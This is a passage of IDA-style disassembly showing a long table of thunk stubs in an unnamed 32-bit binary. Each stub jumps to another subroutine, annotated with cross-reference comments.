___:0040B11Ep ; sub_40B170+34p ... jmp sub_40BDD0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF4 proc near ; CODE XREF: sub_40B0B0+5Cp jmp sub_40BC70 sub_401BF4 endp ; --------------------------------------------------------------------------- jmp loc_4327C0 ; --------------------------------------------------------------------------- jmp loc_431120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: sub_430AD0+20p ; sub_430C00+20p ... jmp sub_430690 sub_401C03 endp ; --------------------------------------------------------------------------- jmp loc_42ED30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C0D proc near jmp sub_4347B0 sub_401C0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C12 proc near ; CODE XREF: sub_4137E0+84p ; sub_433A20+3Cp ... jmp sub_433940 sub_401C12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: ___:0042C4D8p jmp sub_42B060 sub_401C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C1C proc near ; CODE XREF: sub_42A810+446p jmp sub_42A5F0 sub_401C1C endp ; --------------------------------------------------------------------------- jmp loc_41B620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: ___:00431256p ; sub_4331D0+23p jmp sub_431AC0 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; DATA XREF: ___:off_43E12Co jmp sub_427FF0 sub_401C2B endp ; --------------------------------------------------------------------------- jmp loc_41FC80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C35 proc near ; CODE XREF: sub_41AFE0+8p ; ___:0041B39Dp ... jmp sub_41A010 sub_401C35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: sub_42A100+3p jmp sub_42A130 sub_401C3A endp ; --------------------------------------------------------------------------- jmp loc_41AD80 ; --------------------------------------------------------------------------- jmp loc_416990 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C49 proc near ; CODE XREF: sub_40BD90+1Fp jmp sub_40BEC0 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_415A00+9p ; sub_415B20+18p jmp sub_4165D0 sub_401C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C53 proc near ; CODE XREF: sub_418C50+4p jmp sub_418F70 sub_401C53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C58 proc near ; CODE XREF: sub_407370+11p ; ___:00407397p ... jmp sub_407520 sub_401C58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C5D proc near ; CODE XREF: sub_404C70+111p ; sub_40D580+42p ... jmp sub_40A1F0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: ___:0041319Ap ; sub_413220+3Cp ... jmp sub_4157E0 sub_401C62 endp ; --------------------------------------------------------------------------- jmp loc_42E9C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4256B0+69p jmp sub_425820 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_40B520+2Fp ; sub_40B520+6Ep ... jmp sub_40BD60 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0042ED88p ; ___:0042ED9Dp ... jmp sub_432CC0 sub_401C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C7B proc near ; CODE XREF: sub_415370+11p ; sub_415DD0+1Fp jmp sub_415FC0 sub_401C7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C80 proc near ; DATA XREF: ___:0043E0D4o jmp sub_41D830 sub_401C80 endp ; --------------------------------------------------------------------------- jmp loc_419910 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: sub_407370+9p ; sub_418D80+18p jmp sub_4075C0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_4131F0+3p ; ___:00416B3Bp ... jmp sub_413220 sub_401C8F endp ; --------------------------------------------------------------------------- jmp loc_40B810 ; --------------------------------------------------------------------------- loc_401C99: ; DATA XREF: ___:off_43E05Co jmp loc_416C90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA3 proc near ; CODE XREF: ___:00416E6Ap jmp sub_4181B0 sub_401CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA8 proc near ; CODE XREF: sub_415AA0+Cp ; sub_415AA0+43p jmp sub_4165A0 sub_401CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CAD proc near ; CODE XREF: sub_409600+45p jmp sub_4098E0 sub_401CAD endp ; --------------------------------------------------------------------------- jmp loc_433140 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_40FF60+3A4p jmp sub_40A000 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_407790+646p ; ___:00407E7Dp ... jmp sub_4076F0 sub_401CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CC6 proc near ; CODE XREF: sub_415420+16p ; sub_415460+Bp ... jmp sub_416090 sub_401CC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CCB proc near ; CODE XREF: sub_409600+144p jmp sub_409970 sub_401CCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_404640+1C2p ; sub_404B10+36p ... jmp sub_4133D0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4150F0+34p ; sub_415B20+67p jmp sub_415CC0 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near jmp sub_409AA0 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; DATA XREF: ___:0043E06Co jmp sub_41FC00 sub_401CDF endp ; --------------------------------------------------------------------------- jmp loc_42E0B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE9 proc near ; CODE XREF: sub_40BE90+5p jmp sub_40C0F0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CEE proc near ; CODE XREF: ___:0043113Fp jmp sub_42F230 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; CODE XREF: sub_421D50+11p ; ___:00421D77p ... jmp sub_422300 sub_401CF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CF8 proc near ; DATA XREF: ___:0043E048o jmp sub_4131F0 sub_401CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CFD proc near ; CODE XREF: sub_4157A0+1Fp jmp sub_416120 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D02 proc near ; CODE XREF: sub_40F600+1ACp ; sub_40F600+1EDp ... jmp sub_40F590 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_413DA0+15Cp jmp sub_414090 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D0C proc near ; CODE XREF: sub_404C20+23p ; sub_40FF60+13C2p jmp sub_412B20 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D11 proc near ; CODE XREF: ___:00416E2Fp jmp sub_418050 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D16 proc near ; CODE XREF: sub_407540+7p ; sub_40C200+7p ... jmp sub_4075E0 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_40A810+1Ap ; sub_40A8C0+4p ... jmp sub_40A880 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404640+289p ; sub_404640+2ADp ... jmp sub_40A0A0 sub_401D20 endp ; --------------------------------------------------------------------------- jmp loc_42F2B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2A proc near ; DATA XREF: ___:0043E154o jmp sub_4282C0 sub_401D2A endp ; --------------------------------------------------------------------------- jmp loc_42E680 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D34 proc near jmp sub_403FC0 sub_401D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D39 proc near ; CODE XREF: sub_411FE0+123p ; sub_411FE0+1E2p jmp sub_4126B0 sub_401D39 endp ; --------------------------------------------------------------------------- jmp loc_41B470 ; --------------------------------------------------------------------------- jmp loc_40B790 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D48 proc near ; CODE XREF: sub_421C80+5p jmp sub_4221E0 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_415E70+5Fp jmp sub_416690 sub_401D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D52 proc near ; CODE XREF: sub_41D830+2C7p jmp sub_42EA40 sub_401D52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D57 proc near ; CODE XREF: sub_418BA0+7p jmp sub_418E40 sub_401D57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_413670+5Dp ; sub_413670+9Bp ... jmp sub_415340 sub_401D5C endp ; --------------------------------------------------------------------------- jmp loc_4360A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_415730+16p ; sub_415770+Bp ... jmp sub_4163E0 sub_401D66 endp ; --------------------------------------------------------------------------- jmp loc_40B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D70 proc near ; CODE XREF: sub_432ED0+98p jmp sub_430660 sub_401D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D75 proc near ; CODE XREF: sub_421B60+16p ; sub_421BA0+Bp ... jmp sub_4221B0 sub_401D75 endp ; --------------------------------------------------------------------------- jmp loc_42C7E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D7F proc near jmp sub_41C390 sub_401D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D84 proc near ; CODE XREF: sub_4189B0+16p ; sub_4189F0+Bp ... jmp sub_418D20 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_413670+53p ; sub_413670+91p ... jmp sub_4151A0 sub_401D89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D8E proc near ; CODE XREF: sub_422A40+56p jmp sub_4258A0 sub_401D8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D93 proc near ; CODE XREF: sub_422A40+18Ap jmp sub_4257A0 sub_401D93 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_428040+81p jmp sub_427AD0 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DA2 proc near ; CODE XREF: sub_415680+11p ; sub_416120+1Fp jmp sub_416310 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_415160+16p ; sub_4151A0+Bp ... jmp sub_415D40 sub_401DA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DAC proc near ; CODE XREF: ___:00414713p jmp sub_4144D0 sub_401DAC endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_426F70+90p jmp sub_427520 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: ___:0042B178p jmp sub_42AEC0 sub_401DBB endp ; --------------------------------------------------------------------------- jmp loc_414120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC5 proc near ; CODE XREF: sub_4337E0+74p jmp sub_4317F0 sub_401DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DCA proc near ; CODE XREF: sub_41FA90+1Dp jmp sub_40B070 sub_401DCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_40A9F0+45p jmp sub_40AC70 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DD4 proc near ; CODE XREF: ___:0042F33Dp ; ___:0042F462p ... jmp sub_431990 sub_401DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD9 proc near ; CODE XREF: ___:00425C34p jmp sub_426EB0 sub_401DD9 endp ; --------------------------------------------------------------------------- jmp loc_431A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_40FF60+AE7p ; sub_40FF60+E5Dp jmp sub_41EE70 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE8 proc near ; CODE XREF: sub_40ACA0+Ap jmp sub_40AD90 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DED proc near ; CODE XREF: ___:00416A3Bp ; ___:00439F7Aj ... jmp sub_417AE0 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DF2 proc near ; CODE XREF: sub_421E80+4p jmp sub_422320 sub_401DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF7 proc near ; CODE XREF: sub_40C400+271p ; sub_425020+50p jmp sub_423660 sub_401DF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: ___:0041617Ap jmp sub_416760 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E01 proc near ; CODE XREF: sub_415CC0+7p jmp sub_4164C0 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E06 proc near ; CODE XREF: sub_41D830+19Bp jmp sub_42C790 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E0B proc near ; CODE XREF: sub_404C70+83Bp ; sub_404C70+B68p ... jmp sub_412900 sub_401E0B endp ; --------------------------------------------------------------------------- jmp sub_4131F0 ; --------------------------------------------------------------------------- jmp sub_428220 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_4153B0+34p ; sub_415E70+67p jmp sub_416010 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E1F proc near ; CODE XREF: sub_413670+31p ; sub_4144D0+2Dp jmp sub_4152D0 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_40CBB0+1EEp ; ___:00423EC5p ... jmp sub_425640 sub_401E24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E29 proc near ; CODE XREF: sub_4158F0+3p jmp sub_4163C0 sub_401E29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E2E proc near ; CODE XREF: sub_404640+97p ; sub_404640+107p ... jmp sub_40A3C0 sub_401E2E endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: ___:00423CFDp jmp sub_423850 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: ___:00421D0Ap jmp sub_422210 sub_401E3D endp ; --------------------------------------------------------------------------- jmp loc_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E47 proc near jmp sub_4355E0 sub_401E47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E4C proc near ; DATA XREF: ___:off_43E098o jmp sub_4356F0 sub_401E4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E51 proc near ; CODE XREF: ___:0043250Fp jmp sub_42FDB0 sub_401E51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: sub_4165A0+5p jmp sub_4167F0 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: sub_404C70+28Dp ; sub_41D830+6A6p jmp sub_40DB40 sub_401E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E60 proc near ; CODE XREF: sub_422410+5Fp jmp sub_422600 sub_401E60 endp ; --------------------------------------------------------------------------- jmp loc_419E90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; CODE XREF: sub_40F600+22p ; sub_411860+1Dp ... jmp sub_40ADC0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: sub_40A9F0+112p ; sub_40A9F0+153p jmp sub_40ACD0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; DATA XREF: ___:off_43E0C0o jmp sub_41B010 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_4155E0+3p jmp sub_416070 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_426960+1Ap jmp sub_426820 sub_401E7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E83 proc near ; CODE XREF: ___:00416B0Bp ; ___:00439EC4j ... jmp sub_4175E0 sub_401E83 endp ; --------------------------------------------------------------------------- jmp loc_431EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_4200F0+3Ap jmp sub_420300 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E92 proc near ; DATA XREF: ___:0043E114o jmp sub_426F70 sub_401E92 endp ; --------------------------------------------------------------------------- jmp loc_432800 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E9C proc near ; CODE XREF: sub_416310+4p jmp sub_416710 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: sub_415830+4Fp ; sub_4161C0+11p ... jmp sub_416410 sub_401EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA6 proc near ; CODE XREF: sub_415650+5p jmp sub_4160F0 sub_401EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_424840+151p jmp sub_424800 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB0 proc near ; CODE XREF: ___:00416AABp ; ___:00439F18j ... jmp sub_417830 sub_401EB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB5 proc near ; CODE XREF: sub_4152D0+3p jmp sub_415D20 sub_401EB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_415030+11p ; sub_415070+13p ... jmp sub_415C70 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_421960+16p ; sub_4219A0+Bp ... jmp sub_421F50 sub_401EBF endp ; --------------------------------------------------------------------------- jmp loc_418860 ; --------------------------------------------------------------------------- jmp loc_41C250 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: sub_418E90+18p ; sub_421CB0+9p jmp sub_419050 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_422540+Ap jmp sub_4226E0 sub_401ED3 endp ; --------------------------------------------------------------------------- jmp loc_41BC50 ; --------------------------------------------------------------------------- jmp loc_4328B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE2 proc near ; CODE XREF: ___:00416A0Bp ; ___:00439FA4j ... jmp sub_417B20 sub_401EE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE7 proc near ; CODE XREF: sub_40A810+13p jmp loc_40A950 sub_401EE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_41B060:loc_41B0ACp ; sub_41B950+54p ... jmp sub_4198A0 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF1 proc near ; CODE XREF: ___:004142C5p jmp sub_415490 sub_401EF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF6 proc near ; CODE XREF: sub_4156C0+34p ; sub_4161C0+67p jmp sub_416360 sub_401EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EFB proc near ; CODE XREF: sub_4152F0+3p ; ___:00415A4Fp ... jmp sub_415D00 sub_401EFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F00 proc near jmp sub_412C10 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F05 proc near ; CODE XREF: sub_413120+4Dp jmp sub_415370 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_4070F0+5Cp ; sub_418E60+3p jmp sub_407310 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00419103p jmp sub_419170 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F14 proc near ; CODE XREF: ___:0040BF1Ap jmp sub_40C250 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: ___:0042B15Fp jmp sub_42ADB0 sub_401F19 endp ; --------------------------------------------------------------------------- loc_401F1E: ; DATA XREF: ___:off_43E08Co jmp loc_4348A0 ; --------------------------------------------------------------------------- loc_401F23: ; DATA XREF: ___:004240B4o jmp loc_423C10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: ___:00416A6Bp ; ___:00439F50j ... jmp sub_417A40 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F2D proc near ; CODE XREF: sub_413B70+99p jmp sub_413D40 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: sub_40B390+3Dp ; ___:0040BB2Dp ... jmp sub_40B700 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:loc_423CA7p jmp sub_423720 sub_401F37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F3C proc near ; CODE XREF: sub_404C70+A3Ep jmp sub_406890 sub_401F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F41 proc near ; DATA XREF: ___:off_43E1A0o jmp sub_42B350 sub_401F41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F46 proc near ; CODE XREF: sub_4139B0+72p jmp sub_413670 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_418330+5Fp ; sub_418940+1Ap ... jmp sub_4189B0 sub_401F4B endp ; --------------------------------------------------------------------------- jmp loc_42EFA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: sub_42E400+B5p jmp sub_42D2C0 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_40B520+4Bp ; sub_40B520:loc_40B5ABp ... jmp sub_40BE40 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F5F proc near jmp sub_41E400 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F64 proc near ; CODE XREF: sub_40A430+142p jmp sub_40A810 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_404640+35Dp ; sub_404640+39Ep jmp sub_404B10 sub_401F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F6E proc near ; CODE XREF: sub_415DD0+9p ; sub_415E70+18p jmp sub_4166D0 sub_401F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_431B30+1Bp jmp sub_431BE0 sub_401F73 endp ; --------------------------------------------------------------------------- jmp loc_42AFD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F7D proc near ; CODE XREF: sub_426450+1Dp ; sub_4269A0+1Dp ... jmp sub_4264C0 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_427DC0+1Dp ; sub_428160+1Fp ... jmp sub_427E30 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: ___:00429D73p jmp sub_429DA0 sub_401F87 endp ; --------------------------------------------------------------------------- jmp loc_406BD0 ; --------------------------------------------------------------------------- jmp loc_40D460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F96 proc near ; CODE XREF: sub_409600+112p ; sub_409600+153p jmp sub_409940 sub_401F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_422600+5p jmp sub_422770 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_407340+5p jmp sub_4074F0 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: sub_413670+6Fp ; sub_413670+DBp ... jmp sub_4152F0 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_42B830 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FAF proc near ; CODE XREF: sub_415210+5Ep ; sub_415BE0+32p jmp sub_415B20 sub_401FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near jmp sub_40F030 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_412B20+3p jmp sub_412B50 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_404640+48p ; sub_404640+5Dp ... jmp sub_409D20 sub_401FBE endp ; --------------------------------------------------------------------------- jmp loc_419950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC8 proc near ; CODE XREF: sub_41A0E0+3p ; sub_41B040+9j ... jmp sub_41A110 sub_401FC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_40BCB0+34p ; sub_40C120+67p jmp sub_40C040 sub_401FCD endp ; --------------------------------------------------------------------------- jmp loc_432690 ; --------------------------------------------------------------------------- loc_401FD7: ; DATA XREF: ___:off_43E094o jmp loc_435280 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near jmp sub_40F0B0 sub_401FDC endp ; --------------------------------------------------------------------------- jmp loc_436300 ; --------------------------------------------------------------------------- loc_401FE6: ; DATA XREF: ___:0043E03Co jmp loc_41EDB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap jmp sub_41FF40 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_430380 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp ; ___:00439F88j ... jmp sub_417B00 sub_401FF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FFA proc near ; CODE XREF: ___:00416D7Fp jmp sub_413120 sub_401FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFF proc near ; CODE XREF: sub_421A80+5p jmp sub_421F80 sub_401FFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402004 proc near ; CODE XREF: ___:00421654p jmp sub_41BFA0 sub_402004 